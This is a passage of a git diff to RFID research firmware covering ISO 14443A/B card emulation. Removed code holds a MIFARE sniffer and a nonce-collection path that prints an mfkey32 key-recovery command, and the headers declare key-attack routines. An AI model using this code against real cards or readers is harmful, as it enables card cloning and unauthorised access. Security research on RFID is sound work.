ans; cardSTATE = MFEMUL_WORK; break; @@ -2574,204 +3476,17 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t * cardSTATE_TO_IDLE(); break; } - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); cardSTATE = MFEMUL_WORK; break; } } } - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - - if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK - { - //May just aswell send the collected ar_nr in the response aswell - cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_responses,ar_nr_collected*4*4); - } - - if(flags & FLAG_NR_AR_ATTACK) - { - if(ar_nr_collected > 1) { - Dbprintf("Collected two pairs of AR/NR which can be used to extract keys from reader:"); - Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x", - ar_nr_responses[0], // UID - ar_nr_responses[1], //NT - ar_nr_responses[2], //AR1 - ar_nr_responses[3], //NR1 - ar_nr_responses[6], //AR2 - ar_nr_responses[7] //NR2 - ); - } else { - Dbprintf("Failed to obtain two AR/NR pairs!"); - if(ar_nr_collected >0) { - Dbprintf("Only got these: UID=%08x, nonce=%08x, AR1=%08x, NR1=%08x", - ar_nr_responses[0], // UID - ar_nr_responses[1], //NT - ar_nr_responses[2], //AR1 - ar_nr_responses[3] //NR1 - ); - } - } - } - if (MF_DBGLEVEL >= 1) Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", tracing, traceLen); -} - - - -//----------------------------------------------------------------------------- -// MIFARE sniffer. -// -//----------------------------------------------------------------------------- -void RAMFUNC SniffMifare(uint8_t param) { - // param: - // bit 0 - trigger from first card answer - // bit 1 - trigger from first reader 7-bit request - - // C(red) A(yellow) B(green) - LEDsoff(); - // init trace buffer - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); - - // The command (reader -> tag) that we're receiving. - // The length of a received command will in most cases be no more than 18 bytes. - // So 32 should be enough! - uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); - // The response (tag -> reader) that we're receiving. - uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); - - // As we receive stuff, we copy it from receivedCmd or receivedResponse - // into trace, along with its length and other annotations. - //uint8_t *trace = (uint8_t *)BigBuf; - - // The DMA buffer, used to stream samples from the FPGA - uint8_t *dmaBuf = ((uint8_t *)BigBuf) + DMA_BUFFER_OFFSET; - uint8_t *data = dmaBuf; - uint8_t previous_data = 0; - int maxDataLen = 0; - int dataLen = 0; - bool ReaderIsActive = FALSE; - bool TagIsActive = FALSE; - - iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER); - - // Set up the demodulator for tag -> reader responses. - Demod.output = receivedResponse; - - // Set up the demodulator for the reader -> tag commands - Uart.output = receivedCmd; - - // Setup for the DMA. - FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); // set transfer address and number of bytes. Start transfer. - - LED_D_OFF(); - - // init sniffer - MfSniffInit(); - - // And now we loop, receiving samples. - for(uint32_t sniffCounter = 0; TRUE; ) { - - if(BUTTON_PRESS()) { - DbpString("cancelled by button"); - break; - } - - LED_A_ON(); - WDT_HIT(); - - if ((sniffCounter & 0x0000FFFF) == 0) { // from time to time - // check if a transaction is completed (timeout after 2000ms). - // if yes, stop the DMA transfer and send what we have so far to the client - if (MfSniffSend(2000)) { - // Reset everything - we missed some sniffed data anyway while the DMA was stopped - sniffCounter = 0; - data = dmaBuf; - maxDataLen = 0; - ReaderIsActive = FALSE; - TagIsActive = FALSE; - FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); // set transfer address and number of bytes. Start transfer. - } - } - - int register readBufDataP = data - dmaBuf; // number of bytes we have processed so far - int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; // number of bytes already transferred - if (readBufDataP <= dmaBufDataP){ // we are processing the same block of data which is currently being transferred - dataLen = dmaBufDataP - readBufDataP; // number of bytes still to be processed - } else { - dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; // number of bytes still to be processed - } - // test for length of buffer - if(dataLen > maxDataLen) { // we are more behind than ever... - maxDataLen = dataLen; - if(dataLen > 400) { - Dbprintf("blew circular buffer! dataLen=0x%x", dataLen); - break; - } - } - if(dataLen < 1) continue; - - // primary buffer was stopped ( <-- we lost data! - if (!AT91C_BASE_PDC_SSC->PDC_RCR) { - AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf; - AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; - Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary - } - // secondary buffer sets as primary, secondary buffer was stopped - if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { - AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf; - AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; - } - - LED_A_OFF(); - - if (sniffCounter & 0x01) { - - if(!TagIsActive) { // no need to try decoding tag data if the reader is sending - uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4); - if(MillerDecoding(readerdata, (sniffCounter-1)*4)) { - LED_C_INV(); - if (MfSniffLogic(receivedCmd, Uart.len, Uart.parityBits, Uart.bitCount, TRUE)) break; - - /* And ready to receive another command. */ - UartReset(); - - /* And also reset the demod code */ - DemodReset(); - } - ReaderIsActive = (Uart.state != STATE_UNSYNCD); - } - - if(!ReaderIsActive) { // no need to try decoding tag data if the reader is sending - uint8_t tagdata = (previous_data << 4) | (*data & 0x0F); - if(ManchesterDecoding(tagdata, 0, (sniffCounter-1)*4)) { - LED_C_INV(); - - if (MfSniffLogic(receivedResponse, Demod.len, Demod.parityBits, Demod.bitCount, FALSE)) break; - - // And ready to receive another response. - DemodReset(); - } - TagIsActive = (Demod.state != DEMOD_UNSYNCD); - } - } - - previous_data = *data; - sniffCounter++; - data++; - if(data == dmaBuf + DMA_BUFFER_SIZE) { - data = dmaBuf; - } - - } // main cycle - - DbpString("COMMAND FINISHED"); - - FpgaDisableSscDma(); - MfSniffEnd(); - - Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.len=%x", maxDataLen, Uart.state, Uart.len); + if (MF_DBGLEVEL >= 1) + Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", tracing, BigBuf_get_traceLen()); + + cmd_send(CMD_ACK,1,0,0,0,0); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); + set_tracing(false); } diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index 6d18515fc..ff9116d67 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -12,15 +12,23 @@ #ifndef __ISO14443A_H #define __ISO14443A_H -#include "common.h" -#include "mifaresniff.h" -// mifare reader over DMA buffer (SnoopIso14443a())!!! -#define MIFARE_BUFF_OFFSET 3560 // \/ \/ \/ -// card emulator memory -#define EML_RESPONSES 4000 -#define CARD_MEMORY 6000 -#define CARD_MEMORY_LEN 4096 +#ifdef __cplusplus +extern "C" { +#endif + +#include "usb_cmd.h" +#include "cmd.h" +#include "apps.h" +#include "util.h" +#include "string.h" +#include "crc16.h" +#include "mifaresniff.h" +#include "crapto1/crapto1.h" +#include "mifareutil.h" +#include "parity.h" +#include "random.h" +#include "mifare.h" // structs typedef struct { enum { @@ -35,20 +43,23 @@ typedef struct { uint16_t bitCount; uint16_t collisionPos; uint16_t syncBit; - uint32_t parityBits; + uint8_t parityBits; + uint8_t parityLen; uint16_t shiftReg; uint16_t samples; uint16_t len; uint32_t startTime, endTime; uint8_t *output; + uint8_t *parity; } tDemod; - +/* typedef enum { MOD_NOMOD = 0, MOD_SECOND_HALF, MOD_FIRST_HALF, MOD_BOTH_HALVES } Modulation_t; +*/ typedef struct { enum { @@ -61,37 +72,70 @@ typedef struct { // DROP_FIRST_HALF, } state; uint16_t shiftReg; - uint16_t bitCount; + int16_t bitCount; uint16_t len; - uint16_t byteCntMax; + //uint16_t byteCntMax; uint16_t posCnt; uint16_t syncBit; - uint32_t parityBits; - uint16_t highCnt; - uint16_t twoBits; + uint8_t parityBits; + uint8_t parityLen; + uint32_t fourBits; uint32_t startTime, endTime; uint8_t *output; + uint8_t *parity; } tUart; +#ifndef AddCrc14A +# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1) +#endif +#ifndef AddCrc14B +# define AddCrc14B(data, len) compute_crc(CRC_14443_B, (data), (len), (data)+(len), (data)+(len)+1) +#endif -extern byte_t oddparity (const byte_t bt); -extern uint32_t GetParity(const uint8_t *pbtCmd, int iLen); -extern void AppendCrc14443a(uint8_t *data, int len); +extern void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par); -extern void ReaderTransmit(uint8_t *frame, int len, uint32_t *timing); -extern void ReaderTransmitBitsPar(uint8_t *frame, int bits, uint32_t par, uint32_t *timing); -extern void ReaderTransmitPar(uint8_t *frame, int len, uint32_t par, uint32_t *timing); -extern int ReaderReceive(uint8_t *receivedAnswer); -extern int ReaderReceivePar(uint8_t *receivedAnswer, uint32_t *parptr); +extern tDemod* GetDemod(void); +extern void DemodReset(void); +extern void DemodInit(uint8_t *data, uint8_t *parity); +extern tUart* GetUart(void); +extern void UartReset(void); +extern void UartInit(uint8_t *data, uint8_t *parity); +extern RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time); +extern RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time); + +extern void RAMFUNC SniffIso14443a(uint8_t param); +extern void SimulateIso14443aTag(int tagType, int flags, uint8_t *data); +extern void iso14443a_antifuzz(uint32_t flags); +extern void ReaderIso14443a(UsbCommand *c); +extern void ReaderTransmit(uint8_t *frame, uint16_t len, uint32_t *timing); +extern void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing); +extern void ReaderTransmitPar(uint8_t *frame, uint16_t len, uint8_t *par, uint32_t *timing); +extern int ReaderReceive(uint8_t *receivedAnswer, uint8_t *par); extern void iso14443a_setup(uint8_t fpga_minor_mode); -extern int iso14_apdu(uint8_t *cmd, size_t cmd_len, void *data); -extern int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *resp_data, uint32_t *cuid_ptr); +extern int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, void *data); +extern int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *resp_data, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats); +extern int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades); extern void iso14a_set_trigger(bool enable); -extern void iso14a_set_timeout(uint32_t timeout); -extern void iso14a_clear_tracelen(); -extern void iso14a_set_tracing(bool enable); +extern int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen); +extern int EmSend4bit(uint8_t resp); +extern int EmSendCmd(uint8_t *resp, uint16_t respLen); +extern int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *parity); +extern int EmSendCmdPar(uint8_t *resp, uint16_t respLen, uint8_t *par); +extern int EmSendPrecompiledCmd(tag_response_info_t *response_info); + +bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, uint32_t reader_EndTime, uint8_t *reader_Parity, + uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity); + +//extern bool prepare_allocated_tag_modulation(tag_response_info_t *response_info, uint8_t **buffer, size_t *buffer_size); + +void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype ); +void DetectNACKbug(); + +#ifdef __cplusplus +} +#endif #endif /* __ISO14443A_H */ diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c new file mode 100644 index 000000000..58610b8c3 --- /dev/null +++ b/armsrc/iso14443b.c @@ -0,0 +1,1707 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, split Nov 2006 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Routines to support ISO 14443B. This includes both the reader software and +// the `fake tag' modes. +//----------------------------------------------------------------------------- +#include "iso14443b.h" + +#ifndef FWT_TIMEOUT_14B +// defaults to 2000ms +# define FWT_TIMEOUT_14B 35312 +#endif +#ifndef ISO14443B_DMA_BUFFER_SIZE +# define ISO14443B_DMA_BUFFER_SIZE 256 +#endif +#ifndef RECEIVE_MASK +# define RECEIVE_MASK (ISO14443B_DMA_BUFFER_SIZE-1) +#endif + +// Guard Time (per 14443-2) +#ifndef TR0 +# define TR0 0 +#endif + +// Synchronization time (per 14443-2) +#ifndef TR1 +# define TR1 0 +#endif +// Frame Delay Time PICC to PCD (per 14443-3 Amendment 1) +#ifndef TR2 +# define TR2 0 +#endif + +// 4sample +#define SEND4STUFFBIT(x) ToSendStuffBit(x);ToSendStuffBit(x);ToSendStuffBit(x);ToSendStuffBit(x); +//#define SEND4STUFFBIT(x) ToSendStuffBit(x); + // iceman, this threshold value, what makes 8 a good amplitude for this IQ values? +#ifndef SUBCARRIER_DETECT_THRESHOLD +# define SUBCARRIER_DETECT_THRESHOLD 8 +#endif + +static void iso14b_set_timeout(uint32_t timeout); +static void iso14b_set_maxframesize(uint16_t size); + +// the block number for the ISO14443-4 PCB (used with APDUs) +static uint8_t pcb_blocknum = 0; +static uint32_t iso14b_timeout = FWT_TIMEOUT_14B; + +//============================================================================= +// An ISO 14443 Type B tag. We listen for commands from the reader, using +// a UART kind of thing that's implemented in software. When we get a +// frame (i.e., a group of bytes between SOF and EOF), we check the CRC. +// If it's good, then we can do something appropriate with it, and send +// a response. +//============================================================================= + + +//----------------------------------------------------------------------------- +// The software UART that receives commands from the reader, and its state variables. +//----------------------------------------------------------------------------- +static struct { + enum { + STATE_UNSYNCD, + STATE_GOT_FALLING_EDGE_OF_SOF, + STATE_AWAITING_START_BIT, + STATE_RECEIVING_DATA + } state; + uint16_t shiftReg; + int bitCnt; + int byteCnt; + int byteCntMax; + int posCnt; + uint8_t *output; +} Uart; + +static void UartReset() { + Uart.state = STATE_UNSYNCD; + Uart.shiftReg = 0; + Uart.bitCnt = 0; + Uart.byteCnt = 0; + Uart.byteCntMax = MAX_FRAME_SIZE; + Uart.posCnt = 0; +} + +static void UartInit(uint8_t *data) { + Uart.output = data; + UartReset(); +// memset(Uart.output, 0x00, MAX_FRAME_SIZE); +} + +//----------------------------------------------------------------------------- +// The software Demod that receives commands from the tag, and its state variables. +//----------------------------------------------------------------------------- +static struct { + enum { + DEMOD_UNSYNCD, + DEMOD_PHASE_REF_TRAINING, + DEMOD_AWAITING_FALLING_EDGE_OF_SOF, + DEMOD_GOT_FALLING_EDGE_OF_SOF, + DEMOD_AWAITING_START_BIT, + DEMOD_RECEIVING_DATA + } state; + uint16_t bitCount; + int posCount; + int thisBit; +/* this had been used to add RSSI (Received Signal Strength Indication) to traces. Currently not implemented. + int metric; + int metricN; +*/ + uint16_t shiftReg; + uint8_t *output; + uint16_t len; + int sumI; + int sumQ; + uint32_t startTime, endTime; +} Demod; + +// Clear out the state of the "UART" that receives from the tag. +static void DemodReset() { + Demod.state = DEMOD_UNSYNCD; + Demod.bitCount = 0; + Demod.posCount = 0; + Demod.thisBit = 0; + Demod.shiftReg = 0; + Demod.len = 0; + Demod.sumI = 0; + Demod.sumQ = 0; + Demod.startTime = 0; + Demod.endTime = 0; +} + +static void DemodInit(uint8_t *data) { + Demod.output = data; + DemodReset(); + // memset(Demod.output, 0x00, MAX_FRAME_SIZE); +} + + +/* +* 9.4395 us = 1 ETU and clock is about 1.5 us +* 13560000Hz +* 1000ms/s +* timeout in ETUs (time to transfer 1 bit, 9.4395 us) +* +* Formula to calculate FWT (in ETUs) by timeout (in ms): +* fwt = 13560000 * 1000 / (8*16) * timeout; +* Sample: 3sec == 3000ms +* 13560000 * 1000 / (8*16) * 3000 == +* 13560000000 / 384000 = 35312 FWT +* @param timeout is in frame wait time, fwt, measured in ETUs +*/ +static void iso14b_set_timeout(uint32_t timeout) { + #define MAX_TIMEOUT 40542464 // 13560000Hz * 1000ms / (2^32-1) * (8*16) + if(timeout > MAX_TIMEOUT) + timeout = MAX_TIMEOUT; + + iso14b_timeout = timeout; + if(MF_DBGLEVEL >= 3) Dbprintf("ISO14443B Timeout set to %ld fwt", iso14b_timeout); +} +static void iso14b_set_maxframesize(uint16_t size) { + if (size > 256) + size = MAX_FRAME_SIZE; + + Uart.byteCntMax = size; + if(MF_DBGLEVEL >= 3) Dbprintf("ISO14443B Max frame size set to %d bytes", Uart.byteCntMax); +} + +//----------------------------------------------------------------------------- +// Code up a string of octets at layer 2 (including CRC, we don't generate +// that here) so that they can be transmitted to the reader. Doesn't transmit +// them yet, just leaves them ready to send in ToSend[]. +//----------------------------------------------------------------------------- +static void CodeIso14443bAsTag(const uint8_t *cmd, int len) { + /* ISO 14443 B + * + * Reader to card | ASK - Amplitude Shift Keying Modulation (PCD to PICC for Type B) (NRZ-L encodig) + * Card to reader | BPSK - Binary Phase Shift Keying Modulation, (PICC to PCD for Type B) + * + * fc - carrier frequency 13.56mHz + * TR0 - Guard Time per 14443-2 + * TR1 - Synchronization Time per 14443-2 + * TR2 - PICC to PCD Frame Delay Time (per 14443-3 Amendment 1) + * + * Elementary Time Unit (ETU) is + * - 128 Carrier Cycles (9.4395 µS) = 8 Subcarrier Units + * - 1 ETU = 1 bit + * - 10 ETU = 1 startbit, 8 databits, 1 stopbit (10bits length) + * - startbit is a 0 + * - stopbit is a 1 + * + * Start of frame (SOF) is + * - [10-11] ETU of ZEROS, unmodulated time + * - [2-3] ETU of ONES, + * + * End of frame (EOF) is + * - [10-11] ETU of ZEROS, unmodulated time + * + * -TO VERIFY THIS BELOW- + * The mode FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK which we use to simulate tag + * works like this: + * - A 1-bit input to the FPGA becomes 8 pulses at 847.5kHz (1.18µS / pulse) == 9.44us + * - A 0-bit input to the FPGA becomes an unmodulated time of 1.18µS or does it become 8 nonpulses for 9.44us + * + * FPGA doesn't seem to work with ETU. It seems to work with pulse / duration instead. + * + * Card sends data ub 847.e kHz subcarrier + * subcar |duration| FC division + * -------+--------+------------ + * 106kHz | 9.44µS | FC/128 + * 212kHz | 4.72µS | FC/64 + * 424kHz | 2.36µS | FC/32 + * 848kHz | 1.18µS | FC/16 + * -------+--------+------------ + * + * Reader data transmission: + * - no modulation ONES + * - SOF + * - Command, data and CRC_B + * - EOF + * - no modulation ONES + * + * Card data transmission + * - TR1 + * - SOF + * - data (each bytes is: 1startbit, 8bits, 1stopbit) + * - CRC_B + * - EOF + * + * FPGA implementation : + * At this point only Type A is implemented. This means that we are using a + * bit rate of 106 kbit/s, or fc/128. Oversample by 4, which ought to make + * things practical for the ARM (fc/32, 423.8 kbits/s, ~50 kbytes/s) + * + */ + + int i,j; + uint8_t b; + + ToSendReset(); + + // Transmit a burst of ones, as the initial thing that lets the + // reader get phase sync. + // This loop is TR1, per specification + // TR1 minimum must be > 80/fs + // TR1 maximum 200/fs + // 80/fs < TR1 < 200/fs + // 10 ETU < TR1 < 24 ETU + + // Send SOF. + // 10-11 ETU * 4times samples ZEROS + for(i = 0; i < 10; i++) { SEND4STUFFBIT(0); } + //for(i = 0; i < 10; i++) { ToSendStuffBit(0); } + + // 2-3 ETU * 4times samples ONES + for(i = 0; i < 3; i++) { SEND4STUFFBIT(1); } + //for(i = 0; i < 3; i++) { ToSendStuffBit(1); } + + // data + for(i = 0; i < len; ++i) { + + // Start bit + SEND4STUFFBIT(0); + //ToSendStuffBit(0); + + // Data bits + b = cmd[i]; + for(j = 0; j < 8; ++j) { + // if(b & 1) { + // SEND4STUFFBIT(1); + // //ToSendStuffBit(1); + // } else { + // SEND4STUFFBIT(0); + // //ToSendStuffBit(0); + // } + SEND4STUFFBIT( b & 1 ); + b >>= 1; + } + + // Stop bit + SEND4STUFFBIT(1); + //ToSendStuffBit(1); + + // Extra Guard bit + // For PICC it ranges 0-18us (1etu = 9us) + SEND4STUFFBIT(1); + //ToSendStuffBit(1); + } + + // Send EOF. + // 10-11 ETU * 4 sample rate = ZEROS + for(i = 0; i < 10; i++) { SEND4STUFFBIT(0); } + //for(i = 0; i < 10; i++) { ToSendStuffBit(0); } + + // why this? + for(i = 0; i < 40; i++) { SEND4STUFFBIT(1); } + //for(i = 0; i < 40; i++) { ToSendStuffBit(1); } + + // Convert from last byte pos to length + ++ToSendMax; +} + + +/* Receive & handle a bit coming from the reader. + * + * This function is called 4 times per bit (every 2 subcarrier cycles). + * Subcarrier frequency fs is 848kHz, 1/fs = 1,18us, i.e. function is called every 2,36us + * + * LED handling: + * LED A -> ON once we have received the SOF and are expecting the rest. + * LED A -> OFF once we have received EOF or are in error state or unsynced + * + * Returns: true if we received a EOF + * false if we are still waiting for some more + */ +static RAMFUNC int Handle14443bReaderUartBit(uint8_t bit) { + switch (Uart.state) { + case STATE_UNSYNCD: + if (!bit) { + // we went low, so this could be the beginning of an SOF + Uart.state = STATE_GOT_FALLING_EDGE_OF_SOF; + Uart.posCnt = 0; + Uart.bitCnt = 0; + } + break; + + case STATE_GOT_FALLING_EDGE_OF_SOF: + Uart.posCnt++; + if (Uart.posCnt == 2) { // sample every 4 1/fs in the middle of a bit + if (bit) { + if (Uart.bitCnt > 9) { + // we've seen enough consecutive + // zeros that it's a valid SOF + Uart.posCnt = 0; + Uart.byteCnt = 0; + Uart.state = STATE_AWAITING_START_BIT; + LED_A_ON(); // Indicate we got a valid SOF + } else { + // didn't stay down long enough before going high, error + Uart.state = STATE_UNSYNCD; + } + } else { + // do nothing, keep waiting + } + Uart.bitCnt++; + } + if (Uart.posCnt >= 4) Uart.posCnt = 0; + if (Uart.bitCnt > 12) { + // Give up if we see too many zeros without a one, too. + LED_A_OFF(); + Uart.state = STATE_UNSYNCD; + } + break; + + case STATE_AWAITING_START_BIT: + Uart.posCnt++; + if (bit) { + if (Uart.posCnt > 50/2) { // max 57us between characters = 49 1/fs, max 3 etus after low phase of SOF = 24 1/fs + // stayed high for too long between characters, error + Uart.state = STATE_UNSYNCD; + } + } else { + // falling edge, this starts the data byte + Uart.posCnt = 0; + Uart.bitCnt = 0; + Uart.shiftReg = 0; + Uart.state = STATE_RECEIVING_DATA; + } + break; + + case STATE_RECEIVING_DATA: + Uart.posCnt++; + if (Uart.posCnt == 2) { + // time to sample a bit + Uart.shiftReg >>= 1; + if (bit) { + Uart.shiftReg |= 0x200; + } + Uart.bitCnt++; + } + if (Uart.posCnt >= 4) { + Uart.posCnt = 0; + } + if (Uart.bitCnt == 10) { + if ((Uart.shiftReg & 0x200) && !(Uart.shiftReg & 0x001)) + { + // this is a data byte, with correct + // start and stop bits + Uart.output[Uart.byteCnt] = (Uart.shiftReg >> 1) & 0xff; + Uart.byteCnt++; + + if (Uart.byteCnt >= Uart.byteCntMax) { + // Buffer overflowed, give up + LED_A_OFF(); + Uart.state = STATE_UNSYNCD; + } else { + // so get the next byte now + Uart.posCnt = 0; + Uart.state = STATE_AWAITING_START_BIT; + } + } else if (Uart.shiftReg == 0x000) { + // this is an EOF byte + LED_A_OFF(); // Finished receiving + Uart.state = STATE_UNSYNCD; + if (Uart.byteCnt != 0) + return true; + + } else { + // this is an error + LED_A_OFF(); + Uart.state = STATE_UNSYNCD; + } + } + break; + + default: + LED_A_OFF(); + Uart.state = STATE_UNSYNCD; + break; + } + return false; +} + +//----------------------------------------------------------------------------- +// Receive a command (from the reader to us, where we are the simulated tag), +// and store it in the given buffer, up to the given maximum length. Keeps +// spinning, waiting for a well-framed command, until either we get one +// (returns true) or someone presses the pushbutton on the board (false). +// +// Assume that we're called with the SSC (to the FPGA) and ADC path set +// correctly. +//----------------------------------------------------------------------------- +static int GetIso14443bCommandFromReader(uint8_t *received, uint16_t *len) { + // Set FPGA mode to "simulated ISO 14443B tag", no modulation (listen + // only, since we are receiving, not transmitting). + // Signal field is off with the appropriate LED + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_NO_MODULATION); + + StartCountSspClk(); + + volatile uint8_t b = 0; + + // clear receiving shift register and holding register + // What does this loop do? Is it TR1? + // loop is a wait/delay ? +/* + for(uint8_t c = 0; c < 10;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0xFF; + ++c; + } + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); (void)b; + } + } + */ + // Now run a `software UART' on the stream of incoming samples. + UartInit(received); + + uint8_t mask; + while( !BUTTON_PRESS() ) { + WDT_HIT(); + + if ( AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY ) { + b = (uint8_t) AT91C_BASE_SSC->SSC_RHR; + for ( mask = 0x80; mask != 0; mask >>= 1) { + if ( Handle14443bReaderUartBit(b & mask)) { + *len = Uart.byteCnt; + return true; + } + } + } + } + return false; +} + +void ClearFpgaShiftingRegisters(void){ + + volatile uint8_t b; + + // clear receiving shift register and holding register + while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)) {}; + + b = AT91C_BASE_SSC->SSC_RHR; (void) b; + + while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)) {}; + + b = AT91C_BASE_SSC->SSC_RHR; (void) b; + + // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line) + for (uint8_t j = 0; j < 5; j++) { // allow timeout - better late than never + while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); + if (AT91C_BASE_SSC->SSC_RHR) break; + } + + // Clear TXRDY: + //AT91C_BASE_SSC->SSC_THR = 0xFF; +} + +void WaitForFpgaDelayQueueIsEmpty( uint16_t delay ){ + // Ensure that the FPGA Delay Queue is empty before we switch to TAGSIM_LISTEN again: + uint8_t fpga_queued_bits = delay >> 3; // twich /8 ?? >>3, + for (uint8_t i = 0; i <= fpga_queued_bits/8 + 1; ) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0xFF; + i++; + } + } +} + +static void TransmitFor14443b_AsTag( uint8_t *response, uint16_t len) { + + volatile uint32_t b; + + // Signal field is off with the appropriate LED + LED_D_OFF(); + //uint16_t fpgasendQueueDelay = 0; + + // Modulate BPSK + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); + SpinDelay(40); + + ClearFpgaShiftingRegisters(); + + FpgaSetupSsc(); + + // Transmit the response. + for(uint16_t i = 0; i < len;) { + if(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + AT91C_BASE_SSC->SSC_THR = response[++i]; + } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = AT91C_BASE_SSC->SSC_RHR;(void)b; + } + } + + //WaitForFpgaDelayQueueIsEmpty(fpgasendQueueDelay); + AT91C_BASE_SSC->SSC_THR = 0xFF; +} +//----------------------------------------------------------------------------- +// Main loop of simulated tag: receive commands from reader, decide what +// response to send, and send it. +//----------------------------------------------------------------------------- +void SimulateIso14443bTag(uint32_t pupi) { + + // setup device. + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + // Set up the synchronous serial port + FpgaSetupSsc(); + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // allocate command receive buffer + BigBuf_free(); BigBuf_Clear_ext(false); + + clear_trace(); //sim + set_tracing(true); + + uint16_t len, cmdsReceived = 0; + int cardSTATE = SIM_NOFIELD; + int vHf = 0; // in mV + // uint32_t time_0 = 0; + // uint32_t t2r_time = 0; + // uint32_t r2t_time = 0; + uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); + + // the only commands we understand is WUPB, AFI=0, Select All, N=1: +// static const uint8_t cmdWUPB[] = { ISO14443B_REQB, 0x00, 0x08, 0x39, 0x73 }; // WUPB + // ... and REQB, AFI=0, Normal Request, N=1: +// static const uint8_t cmdREQB[] = { ISO14443B_REQB, 0x00, 0x00, 0x71, 0xFF }; // REQB + // ... and ATTRIB +// static const uint8_t cmdATTRIB[] = { ISO14443B_ATTRIB, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; // ATTRIB + + // ... if not PUPI/UID is supplied we always respond with ATQB, PUPI = 820de174, Application Data = 0x20381922, + // supports only 106kBit/s in both directions, max frame size = 32Bytes, + // supports ISO14443-4, FWI=8 (77ms), NAD supported, CID not supported: + uint8_t respATQB[] = { 0x50, 0x82, 0x0d, 0xe1, 0x74, 0x20, 0x38, 0x19, + 0x22, 0x00, 0x21, 0x85, 0x5e, 0xd7 }; + + // response to HLTB and ATTRIB + static const uint8_t respOK[] = {0x00, 0x78, 0xF0}; + + // ...PUPI/UID supplied from user. Adjust ATQB response accordingly + if ( pupi > 0 ) { + num_to_bytes(pupi, 4, respATQB+1); + AddCrc14B(respATQB, 12); + } + + // prepare "ATQB" 